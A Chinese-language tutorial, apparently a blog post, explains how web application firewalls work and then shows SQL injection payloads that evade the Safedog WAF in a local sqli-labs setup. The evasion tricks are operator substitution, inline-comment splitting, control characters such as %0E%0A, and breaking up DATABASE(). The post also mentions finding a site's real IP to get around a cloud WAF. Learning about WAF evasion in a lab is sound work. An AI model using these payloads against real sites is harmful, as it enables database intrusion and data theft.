目录
一. WAF分类
二. WAF工作原理
三. 攻击环境搭建
四. WAF绕过姿势
运算符绕过and、or限制
内联注释绕过order by
添加控制字符绕过union select
函数拆分获取数据库名
在实际的渗透测试过程中,经常会碰到网站存在WAF的情况。网站存在WAF,意味着我们不能使用安全工具对网站进行测试,因为一旦触碰了WAF的规则,轻则丢弃报文,重则拉黑IP。所以,我们需要手动进行WAF的绕过,而绕过WAF前肯定需要对WAF 的工作原理有一定的理解。
一. WAF分类
首先,WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。非嵌入型对WEB流量的解析完全是靠自身的,而嵌入型的WAF拿到的WEB数据是已经被解析加工好的。所以非嵌入型的受攻击机面还涉及到其他层面,而嵌入型从web容器模块类型WAF、代码层WAF往下走,其对抗畸形报文、扫操作绕过的能力越来越强,当然,在部署维护成本方面,也是越高的。
再补充一下关于云waf,它的主要实现方式是利用DNS技术,通过移交域名解析权来实现安全防护。用户的请求首先发送到云端节点进行检测,如存在异常请求则进行拦截否则将请求转发至真实服务器。云Waf在提供防护功能的同时,还同时具有CDN的功能,CDN通过跨运营商的多线智能解析调度将静态资源动态负载到全国的云节点,用户访问某个资源时会被引导至最近的云端节点从而提高访问速度。目前有很多的企业都提供云waf产品,比如阿里云waf、腾讯云waf、华为云waf等等,价格不一,普遍来说一年也要几万或者十几万,相比于硬件waf要便宜很多。云waf是未来发展的一大趋势,相比于硬件和软件waf安装更简单,更新也有云端负责,更便捷,将会是中小企业、政府、金融、教育等网站的防护保障。
这里有一个重点是CDN,云waf也充当着cdn,即当我们访问某个域名的时候,域名将ip地址解析成云waf的ip,经过waf的审核再将数据转发给服务器。如果企业使用了云waf,那么寻找到网站的真实ip就显得非常重要,只要找到了真实的ip那么我们就可以绕过云waf直接请求目标服务器,大大减少了渗透的阻碍。关于CDN,传送门 -》关于CDN以及如何绕过CDN寻找真实ip
二. WAF工作原理
WAF(Web Application Firewall) 可以用来屏蔽常见的网站漏洞攻击,如SQL注入,XML注入、XSS等。WAF针对的是应用层而非网络层的入侵,从技术角度应该称之为Web IPS。WAF的主要难点是对入侵的检测能力,尤其是对Web服务入侵的检测,WAF最大的挑战是识别率。对于已知的攻击方式,可以谈识别率,但是对于未知的攻击手段,WAF是检测不到的。
目前市面上大多数的WAF都是基于规则的WAF。即WAF对接数据收到的包进行正则匹配过滤,如果正则匹配到与现有漏洞知识库的攻击代码相同,则认为这个恶意代码,从而对于进行阻断。所以,对于基于规则匹配的WAF,需要每天都及时更新最新的漏洞库。
对于这种WAF,它的工作过程是这样的:解析HTTP请求——>匹配规则——>防御动作——>记录日志
具体实现如下:
- 解析http请求:协议解析模块
- 匹配规则:规则检测模块,匹配规则库。大多基于正则的匹配
- 防御动作:return 403 或者跳转到自定义界面,或者不返回任何数据,或者拉黑IP
- 日志记录:记录到elk中
三. 攻击环境搭建
基础环境介绍
- 操作系统:win2008 64位
- phpstudy2016,apache2.4.23(一定要使用2016的版本,比如2018的则不会生成服务,手动添加的也不行)
- 安全狗Apache版
1. 安装安全狗apache 版本
下载地址:http://free.safedog.cn/
2. 将phpstudy运行模式改为系统服务
这里的服务名就是apache进程服务的名字,phpstudy等软件搭建的环境需要设置运行模式为“系统服务”后才能看到服务名。如下要点击应用,一定要点击应用!
phpstudy中的系统服务和非服务模式有什么区别:
- 系统服务:表示开机后apache和mysql会以系统服务的形式自动生效。此时我们不再需要打开phpstudy就能直接访问web服务
- 非服务模式:每次系统重启都需要打开phpstudy才可以生效。
这样我们就能在服务中看到服务名了
2. 安装安全狗
如下,程序会自动填写下面的。如果上面没有弄好服务,下面的服务名就会填不上,如果没有填写服务名,则安全狗不生效。然后直接点击确定就好了
到这里就安装好了。我们以sqli-labs来测试一下,输入带有攻击的语句,是不是很nice~。这简直是渗透测试人员成功路上的绊脚石啊~ 接下来就来学习怎么绕过
四. WAF绕过姿势
WAF判断
那么,如何判断一个网站是否存在WAF呢?可以手动也可以使用sqlmap进行测试。手动的话就像上面的输入一些明显带攻击行为的语句,查看服务器的响应,是否将我们请求中断了。或者也可以使用sqlmap进行探测,之前可以使用参数--identify-waf进行waf判断,现在这个参数遗弃了,使用sqlmap的时候会自动进行探测是否有waf
在学习绕过之前,我们先开启所有的防护规则,唉 就算是玩~
运算符绕过and、or限制
如下,我们一输入这种and和or的语句就被拦截
这里and和or可以用 &&和||进行代替,1=1用-1=-1代替,and不行就换or,一个个试。没有被拦截
?id=2' || -1=-1 --+
然后换成 -1=-2数据变化了,所以判断这里存在注入
内联注释绕过order by
mysql中:
- 单行注释可以使用
#
注释符,#
注释符后直接加注释内容 - 多行注释使用
/* */
注释符。/*
用于注释内容的开头,*/
用于注释内容的结尾
正常注入:
http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=2' order by 3 --+ 拦截
使用/*/注释干扰waf机制,用+连接 payload: 'order/*//*/+by
http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=2%27%20order/*//*/+by%204%20--+ 不拦截
添加控制字符绕过union select
这一关还是挺有难度的,试了一会
http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=2' union xxx --+ 不拦截
http://192.168.43.87/2_Shotting_Range/sql/Less-1/?id=2' union select --+ 拦截
我们可以添加一些ASCII控制字符如换行符和回车符来干扰WAF,然后结合着内联注释进行绕过
-- (注释符)
%0e (删除本身)
%0a (换行)
payload为:
?id=-2' union--%0E%0A/*//*/+select 1,2,3 --+
函数拆分获取数据库名
获取当前数据库名
方法还是上面的,大家可以开大脑洞进行组合,就是使用内联注释加插入控制字符进行注入
?id=-2' union--%0E%0A/*//*/+select 1,2,/*!DATABASE()*/ --+ 拦截
?id=-2' union--%0E%0A/*//*/+select 1,2,/*!DATABASE*/ --+ 不拦截所以这里想要绕过,就得将database和()进行拆开,我们可以加入控制字符
?id=-2' union--%0E%0A/*//*/+select 1,2,/*!dATABASE--%0E%0A/*//*/+()*/ --+ 不拦截
其实方法很多,需要多尝试
未完~~